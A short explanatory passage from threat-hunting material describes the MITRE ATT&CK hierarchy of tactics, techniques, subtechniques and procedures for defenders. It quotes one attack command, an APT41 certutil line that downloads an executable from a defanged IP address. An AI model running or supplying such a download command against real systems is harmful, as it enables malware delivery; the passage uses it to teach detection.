A technique describes how an adversary performs an action to achieve a tactical goal. Threat hunters use techniques to organize monitoring detections and develop hunting hypotheses. section 2.6
Use the ATT&CK hierarchy to move from intent to implementation:
- Tactics capture why an adversary acts, such as pursuing credential access or exfiltration. section 2.6
- Techniques capture how the goal is achieved, such as dumping credentials or using Command and Scripting Interpreter for execution. section 2.6
- Subtechniques narrow the behavior, including PowerShell and Windows Command Shell under T1059. section 2.6
- Procedures record specific implementations used by an adversary for a technique or subtechnique. section 2.6
Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe
A concrete procedure shows APT41 using certutil to download an executable, connecting an ATT&CK technique to observable command-line activity. section 2.6

